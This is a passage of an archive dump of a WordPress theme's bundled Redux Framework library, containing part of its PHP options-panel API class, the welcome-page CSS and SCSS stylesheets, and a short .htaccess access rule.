] ) && $fields == true ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $id ) { unset( self::$fields[ $opt_name ][ $key ] ); } } } } } } public static function setSection( $opt_name = '', $section = array() ) { self::check_opt_name( $opt_name ); if ( empty( $section ) ) { return; } if ( ! isset( $section['id'] ) ) { if ( isset( $section['type'] ) && $section['type'] == "divide" ) { $section['id'] = time(); } else { if ( isset( $section['title'] ) ) { $section['id'] = strtolower( sanitize_title( $section['title'] ) ); } else { $section['id'] = time(); } } if ( ! isset( $section['id'] ) ) { print_r( $section ); echo "DOVY"; } if ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $orig = $section['id']; $i = 0; while ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $section['id'] = $orig . '_' . $i; $i ++; } } } if ( ! empty( $opt_name ) && is_array( $section ) && ! empty( $section ) ) { if ( ! isset( $section['id'] ) && ! isset( $section['title'] ) ) { self::$errors[ $opt_name ]['section']['missing_title'] = "Unable to create a section due to missing id and title."; return; } if ( ! isset( $section['priority'] ) ) { $section['priority'] = self::getPriority( $opt_name, 'sections' ); } if ( isset( $section['fields'] ) ) { if ( ! empty( $section['fields'] ) && is_array( $section['fields'] ) ) { self::processFieldsArray( $opt_name, $section['id'], $section['fields'] ); } unset( $section['fields'] ); } self::$sections[ $opt_name ][ $section['id'] ] = $section; } else { self::$errors[ $opt_name ]['section']['empty'] = "Unable to create a section due an empty section array or the section variable passed was not an array."; return; } } public static function hideSection( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$sections[ $opt_name ][ $id ] ) ) { self::$sections[ $opt_name ][ $id ]['hidden'] = $hide; } } } public static function processFieldsArray( $opt_name = "", $section_id = "", $fields = array() ) { if ( ! empty( $opt_name ) && ! empty( $section_id ) && is_array( $fields ) && ! empty( $fields ) ) { foreach ( $fields as $field ) { if ( ! is_array( $field ) ) { continue; } $field['section_id'] = $section_id; self::setField( $opt_name, $field ); } } } public static function getField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { return isset( self::$fields[ $opt_name ][ $id ] ) ? self::$fields[ $opt_name ][ $id ] : false; } return false; } public static function hideField( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$fields[ $opt_name ][ $id ] ) ) { if ( ! $hide ) { self::$fields[ $opt_name ][ $id ]['class'] = str_replace( 'hidden', '', self::$fields[ $opt_name ][ $id ]['class'] ); } else { self::$fields[ $opt_name ][ $id ]['class'] .= 'hidden'; } } } } public static function setField( $opt_name = '', $field = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && is_array( $field ) && ! empty( $field ) ) { if ( ! isset( $field['priority'] ) ) { $field['priority'] = self::getPriority( $opt_name, 'fields' ); } if ( isset( $field['id'] ) ) { self::$fields[ $opt_name ][ $field['id'] ] = $field; } } } public static function removeField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$fields[ $opt_name ][ $id ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $key == $id ) { $priority = $field['priority']; self::$priority[ $opt_name ]['fields'] --; unset( self::$fields[ $opt_name ][ $id ] ); continue; } if ( isset( $priority ) && $priority != "" ) { $newPriority = $field['priority']; $field['priority'] = $priority; self::$fields[ $opt_name ][ $key ] = $field; $priority = $newPriority; } } } } return false; } public static function setHelpTab( $opt_name = "", $tab = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $tab ) ) { if ( ! isset( self::$args[ $opt_name ]['help_tabs'] ) ) { self::$args[ $opt_name ]['help_tabs'] = array(); } if ( isset( $tab['id'] ) ) { self::$args[ $opt_name ]['help_tabs'][] = $tab; } else if ( is_array( end( $tab ) ) ) { foreach ( $tab as $tab_item ) { self::$args[ $opt_name ]['help_tabs'][] = $tab_item; } } } } public static function setHelpSidebar( $opt_name = "", $content = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $content ) ) { self::$args[ $opt_name ]['help_sidebar'] = $content; } } public static function setArgs( $opt_name = "", $args = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $args ) && is_array( $args ) ) { if ( isset( self::$args[ $opt_name ] ) && isset( self::$args[ $opt_name ]['clearArgs'] ) ) { self::$args[ $opt_name ] = array(); } self::$args[ $opt_name ] = wp_parse_args( $args, self::$args[ $opt_name ] ); } } public static function getArgs( $opt_name = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ]; } } public static function getArg( $opt_name = "", $key = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ][ $key ]; } else { return; } } public static function getOption( $opt_name = "", $key = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) ) { $redux = get_option( $opt_name ); if ( isset( $redux[ $key ] ) ) { return $redux[ $key ]; } else { return; } } else { return; } } public static function setOption( $opt_name = "", $key = "", $option = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) ) { $redux = get_option( $opt_name ); $redux[ $key ] = $option; return update_option( $opt_name, $redux ); } else { return false; } } public static function getPriority( $opt_name, $type ) { $priority = self::$priority[ $opt_name ][ $type ]; self::$priority[ $opt_name ][ $type ] += 1; return $priority; } public static function check_opt_name( $opt_name = "" ) { if ( empty( $opt_name ) || is_array( $opt_name ) ) { return; } if ( ! isset( self::$sections[ $opt_name ] ) ) { self::$sections[ $opt_name ] = array(); self::$priority[ $opt_name ]['sections'] = 1; } if ( ! isset( self::$args[ $opt_name ] ) ) { self::$args[ $opt_name ] = array(); self::$priority[ $opt_name ]['args'] = 1; } if ( ! isset( self::$fields[ $opt_name ] ) ) { self::$fields[ $opt_name ] = array(); self::$priority[ $opt_name ]['fields'] = 1; } if ( ! isset( self::$help[ $opt_name ] ) ) { self::$help[ $opt_name ] = array(); self::$priority[ $opt_name ]['help'] = 1; } if ( ! isset( self::$errors[ $opt_name ] ) ) { self::$errors[ $opt_name ] = array(); } if ( ! isset( self::$init[ $opt_name ] ) ) { self::$init[ $opt_name ] = false; } } /** * Retrieve metadata from a file. Based on WP Core's get_file_data function * * @since 2.1.1 * * @param string $file Path to the file * * @return string */ public static function getFileVersion( $file ) { $data = get_file_data( $file, array( 'version' ), 'plugin' ); return $data[0]; } public static function checkExtensionClassFile( $opt_name, $name = "", $class_file = "", $instance = "" ) { if ( file_exists( $class_file ) ) { self::$uses_extensions[ $opt_name ] = isset( self::$uses_extensions[ $opt_name ] ) ? self::$uses_extensions[ $opt_name ] : array(); if ( ! in_array( $name, self::$uses_extensions[ $opt_name ] ) ) { self::$uses_extensions[ $opt_name ][] = $name; } self::$extensions[ $name ] = isset( self::$extensions[ $name ] ) ? self::$extensions[ $name ] : array(); $version = Redux_Helpers::get_template_version( $class_file ); if ( empty( $version ) && ! empty( $instance ) ) { if ( isset( $instance->version ) ) { $version = $instance->version; } } self::$extensions[ $name ][ $version ] = isset( self::$extensions[ $name ][ $version ] ) ? self::$extensions[ $name ][ $version ] : $class_file; $api_check = str_replace( 'extension_' . $name, $name . '_api', $class_file ); if ( file_exists( $api_check ) && ! class_exists( 'Redux_' . ucfirst( $name ) ) ) { include_once( $api_check ); } } } public static function setExtensions( $opt_name, $path ) { if ( is_dir( $path ) ) { $path = trailingslashit( $path ); $folder = str_replace( '.php', '', basename( $path ) ); if ( file_exists( $path . 'extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . 'extension_' . $folder . '.php' ); } else { $folders = scandir( $path, 1 ); foreach ( $folders as $folder ) { if ( $folder === '.' or $folder === '..' or $folder[0] == "." ) { continue; } if ( file_exists( $path . $folder . '/extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . $folder . '/extension_' . $folder . '.php' ); } else if ( is_dir( $path . $folder ) ) { self::setExtensions( $opt_name, $path . $folder ); continue; } } } } else if ( file_exists( $path ) ) { $name = explode( 'extension_', basename( $path ) ); if ( isset( $name[1] ) && ! empty( $name[1] ) ) { $name = str_replace( '.php', '', $name[1] ); self::checkExtensionClassFile( $opt_name, $name, $path ); } } } /** * Method to disables Redux demo mode popup. */ public static function disable_demo() { add_action('ReduxFrameworkPlugin_admin_notice', 'Redux::remove_demo', 0); add_action('redux_framework_plugin_admin_notice', 'Redux::remove_demo', 0); } /** * Callback used by Redux::disable_demo() to remove the demo mode notice from Redux. */ function remove_demo() { update_option('ReduxFrameworkPlugin_ACTIVATED_NOTICES', ''); } public static function getAllExtensions() { $redux = ReduxFrameworkInstances::get_all_instances(); foreach ( $redux as $instance ) { if ( ! empty( self::$uses_extensions[ $instance['args']['opt_name'] ] ) ) { continue; } if ( ! empty( $instance['extensions'] ) ) { Redux::getInstanceExtensions( $instance['args']['opt_name'], $instance ); } } } public static function getInstanceExtensions( $opt_name, $instance = array() ) { if ( ! empty( self::$uses_extensions[ $opt_name ] ) ) { return; } if ( empty( $instance ) ) { $instance = ReduxFrameworkInstances::get_instance( $opt_name ); } if ( empty( $instance ) || empty( $instance->extensions ) ) { return; } foreach ( $instance->extensions as $name => $extension ) { if ( $name == "widget_areas" ) { $new = new Redux_Widget_Areas( $instance ); } if ( isset( self::$uses_extensions[ $opt_name ][ $name ] ) ) { continue; } if ( isset( $extension->extension_dir ) ) { Redux::setExtensions( $opt_name, str_replace( $name, '', $extension->extension_dir ) ); } else if ( isset( $extension->_extension_dir ) ) { Redux::setExtensions( $opt_name, str_replace( $name, '', $extension->_extension_dir ) ); } } } public static function getExtensions( $opt_name = "", $key = "" ) { if ( empty( $opt_name ) ) { Redux::getAllExtensions(); if ( empty( $key ) ) { return self::$extension_paths; } else { if ( isset( self::$extension_paths[ $key ] ) ) { return self::$extension_paths[ $key ]; } } } else { if ( empty( self::$uses_extensions[ $opt_name ] ) ) { Redux::getInstanceExtensions( $opt_name ); } if ( empty( self::$uses_extensions[ $opt_name ] ) ) { return false; } $instanceExtensions = array(); foreach ( self::$uses_extensions[ $opt_name ] as $extension ) { $class_file = end( self::$extensions[ $extension ] ); $name = str_replace( '.php', '', basename( $extension ) ); $extension_class = 'ReduxFramework_Extension_' . $name; $instanceExtensions[ $extension ] = array( 'path' => $class_file, 'class' => $extension_class, 'version' => Redux_Helpers::get_template_version( $class_file ) ); } return $instanceExtensions; } return false; } } Redux::load(); } lib/redux-framework/inc/welcome/css/redux-welcome.css000064400000024576147206624460016753 0ustar00.about-wrap.redux-status .updated,.about-wrap.redux-status .error{margin-top:10px}.about-wrap.redux-status .updated.redux-message{display:block !important}.about-wrap.redux-status .redux-message{position:relative;border-left-color:#00A2E3 !important;overflow:hidden}.about-wrap.redux-status .redux-message a.skip,.about-wrap.redux-status .redux-message a.docs{opacity:0.5;text-decoration:none !important}.about-wrap.redux-status #debug-report{display:none;margin:10px 0;padding:0;position:relative}.about-wrap.redux-status #debug-report textarea{font-family:monospace;width:100%;margin:0;height:300px;padding:20px;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;resize:none;font-size:12px;line-height:20px;outline:0}.about-wrap.redux-status table.redux_status_table{margin-bottom:1em}.about-wrap.redux-status table.redux_status_table tr:nth-child(2n) th,.about-wrap.redux-status table.redux_status_table tr:nth-child(2n) td{background:#fcfcfc}.about-wrap.redux-status table.redux_status_table th{font-weight:700;padding:9px}.about-wrap.redux-status table.redux_status_table td:first-child{width:33%}.about-wrap.redux-status table.redux_status_table td.help{width:1em}.about-wrap.redux-status table.redux_status_table td{padding:9px}.about-wrap.redux-status table.redux_status_table td mark{background:transparent none}.about-wrap.redux-status table.redux_status_table td mark.yes{color:#7ad03a}.about-wrap.redux-status table.redux_status_table td mark.no{color:#999}.about-wrap.redux-status table.redux_status_table td mark.error{color:#a00}.about-wrap.redux-status table.redux_status_table td ul{margin:0}.about-wrap.redux-status table.redux_status_table .redux-hint-qtip{cursor:help}.about-wrap #footer-upgrade{display:none}.about-wrap .redux-badge{position:absolute;top:0;background:#00A2E3;padding:20px;color:#efefef;margin:5px 0 0 0;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.2);box-shadow:0 1px 3px rgba(0,0,0,0.2)}.about-wrap .redux-badge:before{color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:80px;font-weight:normal;width:165px;height:165px;line-height:165px;text-align:center;position:absolute;top:0;margin:0;vertical-align:middle}.about-wrap .redux-badge .el{background:#00A2E3;display:block !important;font-size:8em;color:#fff;margin-bottom:30px}.about-wrap .redux-badge span{font-weight:600;font-size:14px;text-align:center;position:absolute;bottom:0;background:rgba(50,50,49,0.47);left:0;right:0;padding:8px}.about-wrap .redux-feature{overflow:visible !important;*zoom:1}.about-wrap .redux-feature:before,.about-wrap .redux-feature:after{content:" ";display:table}.about-wrap .redux-feature:after{clear:both}.about-wrap h3+.redux-feature{margin-top:0}.about-wrap .feature-rest div{width:50% !important;-moz-box-sizing:border-box;box-sizing:border-box;margin:0 !important}.about-wrap .feature-rest div.icon:before{font-weight:normal;width:100%;font-size:170px;line-height:125px;color:#9c5d90;display:inline-block;position:relative;text-align:center;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.about-wrap div.icon{width:0 !important;padding:0;margin:20px 0 !important}.about-wrap .about-integrations{background:#fff;margin:20px 0;padding:1px 20px 10px}.about-wrap .changelog h2{line-height:1.4;padding-bottom:0}.about-wrap .changelog .feature-section{padding-top:1.4em}.about-wrap .changelog .prettyprint{overflow-wrap:break-word}.about-wrap .changelog .gist-it-gist .gist-file{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data pre{padding-top:10px !important;word-break:break-word}.about-wrap .theme-screenshot{color:#eee;transition:all 0.5s}.about-wrap .theme-screenshot:hover{color:#fff}.about-wrap .theme-screenshot i{text-align:center;display:block;margin:10px;font-size:90px;line-height:200px;transition:all 0.5s ease}.about-wrap .theme-browser .theme{transition:all 0.5s}.about-wrap .theme-browser .theme:hover .theme-screenshot i{transition:all 0.5s;font-size:120px}.about-wrap .theme-browser .theme .theme-screenshot:after{content:inherit;display:inherit;padding-top:inherit}.about-wrap .theme-screenshot figure{position:relative;overflow:hidden;cursor:pointer;margin:0}.about-wrap .theme-screenshot figure i{position:relative;display:block;font-size:11em;opacity:0.8}.about-wrap .theme-screenshot figure figcaption{padding:15px;color:#fff;text-transform:uppercase;font-size:1.25em;-webkit-backface-visibility:hidden;backface-visibility:hidden}.about-wrap .theme-screenshot figure figcaption:before,.about-wrap .theme-screenshot figure figcaption:after{pointer-events:none}.about-wrap .theme-screenshot figure figcaption,.about-wrap .theme-screenshot figure figcaption>a{position:absolute;top:0;left:0;right:0;bottom:0}.about-wrap .theme-screenshot figure figcaption>a{z-index:1000;text-indent:200%;white-space:nowrap;font-size:0;opacity:0}.about-wrap .theme-screenshot figure p{margin:0;letter-spacing:1px;font-size:68.5%}.about-wrap .theme-screenshot figure i{opacity:0.7;-webkit-transition:opacity 0.35s;transition:opacity 0.35s}.about-wrap .theme:hover figcaption::before,.about-wrap .theme:hover figcaption::after{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.about-wrap .theme:hover i{opacity:0.3}.about-wrap .theme:hover p{opacity:1;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);text-shadow:2px 2px 1px rgba(0,0,0,0.3)}.about-wrap figure figcaption::before,.about-wrap figure figcaption::after{position:absolute;top:15px;right:15px;bottom:15px;left:15px;content:'';opacity:0;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s}.about-wrap figure figcaption::before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0, 1);transform:scale(0, 1)}.about-wrap figure figcaption::after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1, 0);transform:scale(1, 0)}.about-wrap figure p{padding:10px;text-transform:none;opacity:0;margin-top:0 !important;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s;-webkit-transform:translate3d(0, 20px, 0);transform:translate3d(0, 20px, 0)}.redux-message .twitter-share-button,p.redux-actions .twitter-share-button{margin-top:-3px;margin-left:3px;vertical-align:middle}.redux-message a.donate,.redux-message a.review-us,p.redux-actions a.donate,p.redux-actions a.review-us{opacity:.5;text-decoration:none !important}#redux-message{margin-top:15px !important;display:block !important;margin:5px 0 15px;border-color:#00A2E3}#redux-message h4{margin-top:.5em}@media only screen and (min-width: 2000px){#wpwrap .theme-browser .theme:nth-child(4n),#wpwrap .theme-browser .theme:nth-child(5n){margin-right:3%}}@media screen and (max-width: 500px){.about-wrap h2 .nav-tab{width:100%;margin:0;padding:0;height:40px;line-height:40px;text-align:center;margin-bottom:10px;margin-top:10px}.about-wrap h2.nav-tab-wrapper{padding:0;width:100%}}@media only screen and (max-width: 1120px){.theme-browser .theme:nth-child(odd){margin-right:5% !important}.theme-browser .theme{width:47.5% !important;margin-right:auto !important}}@media screen and (max-width: 620px){.theme-browser .theme{width:100% !important;margin-right:0}}#support_div input.hash{text-align:center}#support_div .hide{display:none}#support_div .previous{opacity:.8}#support_div #supportform{margin-top:10px;text-align:center;position:relative}#support_div #supportform fieldset{background:white;border:0 none;border-radius:3px;box-shadow:0 0 15px 1px rgba(0,0,0,0.4);padding:20px 30px;box-sizing:border-box;width:86%;margin:0 7%;position:absolute}#support_div #supportform fieldset:not(:first-of-type){display:none}#support_div #supportform input,#support_div #supportform textarea{padding:15px;border:1px solid #ccc;border-radius:3px;margin-bottom:10px;width:100%;box-sizing:border-box;font-family:montserrat;color:#2C3E50;font-size:13px}#support_div #supportform input.checkbox{width:initial;margin-top:10px}#support_div #supportform .action-button{width:100px;background:#27AE60;font-weight:bold;color:white;border:0 none;border-radius:1px;cursor:pointer;padding:10px 5px;margin:10px 5px}#support_div #supportform .action-button:disabled{opacity:.5}#support_div #supportform .action-button:hover,#support_div #supportform .action-button:focus{box-shadow:0 0 0 2px white, 0 0 0 3px #27AE60}#support_div #supportform .fs-title{font-size:15px;text-transform:uppercase;color:#2C3E50;margin-bottom:10px}#support_div #supportform .fs-subtitle{font-weight:normal;font-size:13px;text-align:left;color:#666;margin-bottom:20px}#support_div #supportform #toDebug li{text-align:left;width:45%;float:left}#support_div #supportform #user_type{width:100%}#support_div #supportform #user_type td{cursor:pointer;width:50%}#support_div #supportform #user_type td i{font-size:130px;margin-bottom:10px}#support_div #supportform #user_type td:hover i{color:#176C8E}#support_div #supportform #user_type td small{line-height:2.5em;font-style:italic}#support_div #supportform #support_hash{text-align:center;word-break:break-all}#support_div .breadcrumb{display:inline-block;box-shadow:0 0 10px 1px rgba(0,0,0,0.35);overflow:hidden;border-radius:5px;margin:15px 0;counter-reset:flag}#support_div .breadcrumb li{text-decoration:none;outline:none;display:block;float:left;font-size:12px;transition:all 0.5s;width:auto;margin:0;line-height:36px;color:white;padding:0 10px 0 60px;background:#666;position:relative}#support_div .breadcrumb li:first-child{padding-left:46px;border-radius:5px 0 0 5px}#support_div .breadcrumb li:first-child:before{left:14px}#support_div .breadcrumb li:last-child{border-radius:0 5px 5px 0;padding-right:20px}#support_div .breadcrumb li:last-child:after{content:none}#support_div .breadcrumb li.active{background:#333}#support_div .breadcrumb li.active:after{background:#333}#support_div .breadcrumb li.active:before{background:#555}#support_div .breadcrumb li:after{content:'';position:absolute;top:0;right:-18px;width:36px;height:36px;transform:scale(0.707) rotate(45deg);z-index:1;background:#666;box-shadow:2px -2px 0 2px rgba(0,0,0,0.4),3px -3px 0 2px rgba(255,255,255,0.1);border-radius:0 5px 0 50px;transition:all 0.5s}#support_div .breadcrumb li:before{transition:all 0.5s;content:counter(flag);counter-increment:flag;border-radius:100%;width:20px;height:20px;line-height:20px;margin:8px 0;position:absolute;top:0;left:30px;background:#444;font-weight:bold} lib/redux-framework/inc/welcome/css/redux-welcome.scss000064400000042307147206624460017126 0ustar00$green: #7ad03a; $red: #a00; $orange: #ffba00; $blue: #2ea2cc; .about-wrap { &.redux-status { .updated, .error { margin-top: 10px; } .updated { &.redux-message { display: block !important; } } .redux-message { position: relative; border-left-color: #00A2E3 !important; overflow: hidden; a.skip, a.docs { opacity: 0.5; text-decoration: none !important; } } #debug-report { display: none; margin: 10px 0; padding: 0; position: relative; textarea { font-family: monospace; width: 100%; margin: 0; height: 300px; padding: 20px; -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; resize: none; font-size: 12px; line-height: 20px; outline: 0; } } table.redux_status_table { margin-bottom: 1em; tr { &:nth-child(2n) { th, td { background: #fcfcfc; } } } th { font-weight: 700; padding: 9px; } td:first-child { width: 33%; } td.help { width: 1em; } td { padding: 9px; //font-size: 1.1em; mark { background: transparent none; } mark.yes { color: $green; } mark.no { color: #999; } mark.error { color: $red; } ul { margin: 0; } } .redux-hint-qtip { cursor: help; } } } } .about-wrap { #footer-upgrade { display: none;; } .redux-badge { position: absolute; top: 0; background: #00A2E3; padding: 20px; color: #efefef; margin: 5px 0 0 0; -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .2); box-shadow: 0 1px 3px rgba(0, 0, 0, .2); &:before { color: #fff; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; font-size: 80px; font-weight: normal; width: 165px; height: 165px; line-height: 165px; text-align: center; position: absolute; top: 0; margin: 0; vertical-align: middle; } .el { background: #00A2E3; display: block !important; font-size: 8em; color: #fff; margin-bottom: 30px; } span { font-weight: 600; font-size: 14px; text-align: center; position: absolute; bottom: 0; background: rgba(50, 50, 49, 0.47); left: 0; right: 0; padding: 8px; } } .redux-feature { overflow: visible !important; *zoom: 1; &:before, &:after { content: " "; display: table; } &:after { clear: both; } } h3 + .redux-feature { margin-top: 0; } .feature-rest div { width: 50% !important; -moz-box-sizing: border-box; box-sizing: border-box; margin: 0 !important; &.icon:before { font-weight: normal; width: 100%; font-size: 170px; line-height: 125px; color: #9c5d90; display: inline-block; position: relative; text-align: center; speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } } div.icon { width: 0 !important; padding: 0; margin: 20px 0 !important; } .about-integrations { background: #fff; margin: 20px 0; padding: 1px 20px 10px; } .changelog { h2 { line-height: 1.4; padding-bottom: 0;; } .feature-section { padding-top: 1.4em; } .prettyprint { overflow-wrap: break-word; } .gist-it-gist { .gist-file { border: 0 !important; background: 0 !important; .gist-data { border: 0 !important; background: 0 !important; pre { padding-top: 10px !important; word-break: break-word; } } } } } .theme-screenshot { color: #eee; transition: all 0.5s; &:hover { color: #fff; } i { text-align: center; display: block; margin: 10px; font-size: 90px; line-height: 200px; transition: all 0.5s ease; } } .theme-browser { .theme { transition: all 0.5s; &:hover .theme-screenshot i { transition: all 0.5s; font-size: 120px; } .theme-screenshot:after { content: inherit; display: inherit; padding-top: inherit; } } } .theme-screenshot { figure { position: relative; overflow: hidden; cursor: pointer; margin: 0; i { position: relative; display: block; font-size: 11em; opacity: 0.8; } figcaption { padding: 15px; color: #fff; text-transform: uppercase; font-size: 1.25em; -webkit-backface-visibility: hidden; backface-visibility: hidden; &:before, &:after { pointer-events: none; } } figcaption, figcaption > a { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } figcaption > a { z-index: 1000; text-indent: 200%; white-space: nowrap; font-size: 0; opacity: 0; } p { margin: 0; letter-spacing: 1px; font-size: 68.5%; } i { opacity: 0.7; -webkit-transition: opacity 0.35s; transition: opacity 0.35s; } } } .theme:hover { figcaption { &::before, &::after { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } i { opacity: 0.3; } p { opacity: 1; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); text-shadow: 2px 2px 1px rgba(0, 0, 0, .3); } } figure { figcaption { &::before, &::after { position: absolute; top: 15px; right: 15px; bottom: 15px; left: 15px; content: ''; opacity: 0; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; } &::before { border-top: 1px solid #fff; border-bottom: 1px solid #fff; -webkit-transform: scale(0, 1); transform: scale(0, 1); } &::after { border-right: 1px solid #fff; border-left: 1px solid #fff; -webkit-transform: scale(1, 0); transform: scale(1, 0); } } p { padding: 10px; text-transform: none; opacity: 0; margin-top: 0 !important; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } } } .redux-message, p.redux-actions { .twitter-share-button { margin-top: -3px; margin-left: 3px; vertical-align: middle; } a { &.donate, &.review-us { opacity: .5; text-decoration: none !important; } } } #redux-message { margin-top: 15px !important; display: block !important; margin: 5px 0 15px; border-color: #00A2E3; h4 { margin-top: .5em; } } @media only screen and (min-width: 2000px) { #wpwrap .theme-browser .theme:nth-child(4n), #wpwrap .theme-browser .theme:nth-child(5n) { margin-right: 3%; } } @media screen and (max-width: 500px) { .about-wrap h2 .nav-tab { width: 100%; margin: 0; padding: 0; height: 40px; line-height: 40px; text-align: center; margin-bottom: 10px; margin-top: 10px; } .about-wrap h2.nav-tab-wrapper { padding: 0; width: 100%; } } @media only screen and (max-width: 1120px) { .theme-browser .theme:nth-child(odd) { margin-right: 5% !important; } .theme-browser .theme { width: 47.5% !important; margin-right: auto !important; } } @media screen and (max-width: 620px) { .theme-browser .theme { width: 100% !important; margin-right: 0; } } #support_div { input.hash { text-align: center; } .hide { display: none; } .previous { opacity: .8; } /*form styles*/ #supportform { /*width: 500px;*/ margin-top: 10px; text-align: center; position: relative; fieldset { background: white; border: 0 none; border-radius: 3px; box-shadow: 0 0 15px 1px rgba(0, 0, 0, 0.4); padding: 20px 30px; box-sizing: border-box; width: 86%; margin: 0 7%; /*stacking fieldsets above each other*/ position: absolute; /*Hide all except first fieldset*/ &:not(:first-of-type) { display: none; } } /*inputs*/ input, textarea { padding: 15px; border: 1px solid #ccc; border-radius: 3px; margin-bottom: 10px; width: 100%; box-sizing: border-box; font-family: montserrat; color: #2C3E50; font-size: 13px; } input.checkbox { width: initial; margin-top: 10px; } /*buttons*/ .action-button { width: 100px; background: #27AE60; font-weight: bold; color: white; border: 0 none; border-radius: 1px; cursor: pointer; padding: 10px 5px; margin: 10px 5px; &:disabled { opacity: .5; } &:hover, &:focus { box-shadow: 0 0 0 2px white, 0 0 0 3px #27AE60; } } /*headings*/ .fs-title { font-size: 15px; text-transform: uppercase; color: #2C3E50; margin-bottom: 10px; } .fs-subtitle { font-weight: normal; font-size: 13px; text-align: left; color: #666; margin-bottom: 20px; } #toDebug li { text-align: left; width: 45%; float: left; } #user_type { width: 100%; td { cursor: pointer; width: 50%; i { font-size: 130px; margin-bottom: 10px; } &:hover i { color: #176C8E; } small { line-height: 2.5em; font-style: italic; } } } #support_hash { text-align: center; word-break: break-all; } } .breadcrumb { /*centering*/ display: inline-block; box-shadow: 0 0 10px 1px rgba(0, 0, 0, 0.35); overflow: hidden; border-radius: 5px; margin: 15px 0; /*Lets add the numbers for each link using CSS counters. flag is the name of the counter. to be defined using counter-reset in the parent element of the links*/ counter-reset: flag; li { text-decoration: none; outline: none; display: block; float: left; font-size: 12px; transition: all 0.5s; width: auto; margin: 0; line-height: 36px; color: white; /*need more margin on the left of links to accomodate the numbers*/ padding: 0 10px 0 60px; background: #666; //background: linear-gradient(#666, #333); position: relative; /*since the first link does not have a triangle before it we can reduce the left padding to make it look consistent with other links*/ &:first-child { padding-left: 46px; border-radius: 5px 0 0 5px; /*to match with the parent's radius*/ &:before { left: 14px; } } &:last-child { border-radius: 0 5px 5px 0; /*this was to prevent glitches on hover*/ padding-right: 20px; /*we dont need an arrow after the last link*/ &:after { content: none; } } &.active { background: #333; //background: linear-gradient(#333, #000); &:after { background: #333; //background: linear-gradient(135deg, #333, #000); } &:before { background: #555; } } /*adding the arrows for the breadcrumbs using rotated pseudo elements*/ &:after { content: ''; position: absolute; top: 0; right: -18px; /*half of square's length*/ /*same dimension as the line-height of .breadcrumb a */ width: 36px; height: 36px; /*as you see the rotated square takes a larger height. which makes it tough to position it properly. So we are going to scale it down so that the diagonals become equal to the line-height of the link. We scale it to 70.7% because if square's: length = 1; diagonal = (1^2 + 1^2)^0.5 = 1.414 (pythagoras theorem) if diagonal required = 1; length = 1/1.414 = 0.707*/ transform: scale(0.707) rotate(45deg); /*we need to prevent the arrows from getting buried under the next link*/ z-index: 1; /*background same as links but the gradient will be rotated to compensate with the transform applied*/ background: #666; //background: linear-gradient(135deg, #666, #333); /*stylish arrow design using box shadow*/ box-shadow: 2px -2px 0 2px rgba(0, 0, 0, 0.4), 3px -3px 0 2px rgba(255, 255, 255, 0.1); /* 5px - for rounded arrows and 50px - to prevent hover glitches on the border created using shadows*/ border-radius: 0 5px 0 50px; transition: all 0.5s; } /*we will use the :before element to show numbers*/ &:before { transition: all 0.5s; content: counter(flag); counter-increment: flag; /*some styles now*/ border-radius: 100%; width: 20px; height: 20px; line-height: 20px; margin: 8px 0; position: absolute; top: 0; left: 30px; background: #444; //background: linear-gradient(#444, #222); font-weight: bold; } } } }lib/redux-framework/inc/welcome/css/.htaccess000064400000001626147206624460015246 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all 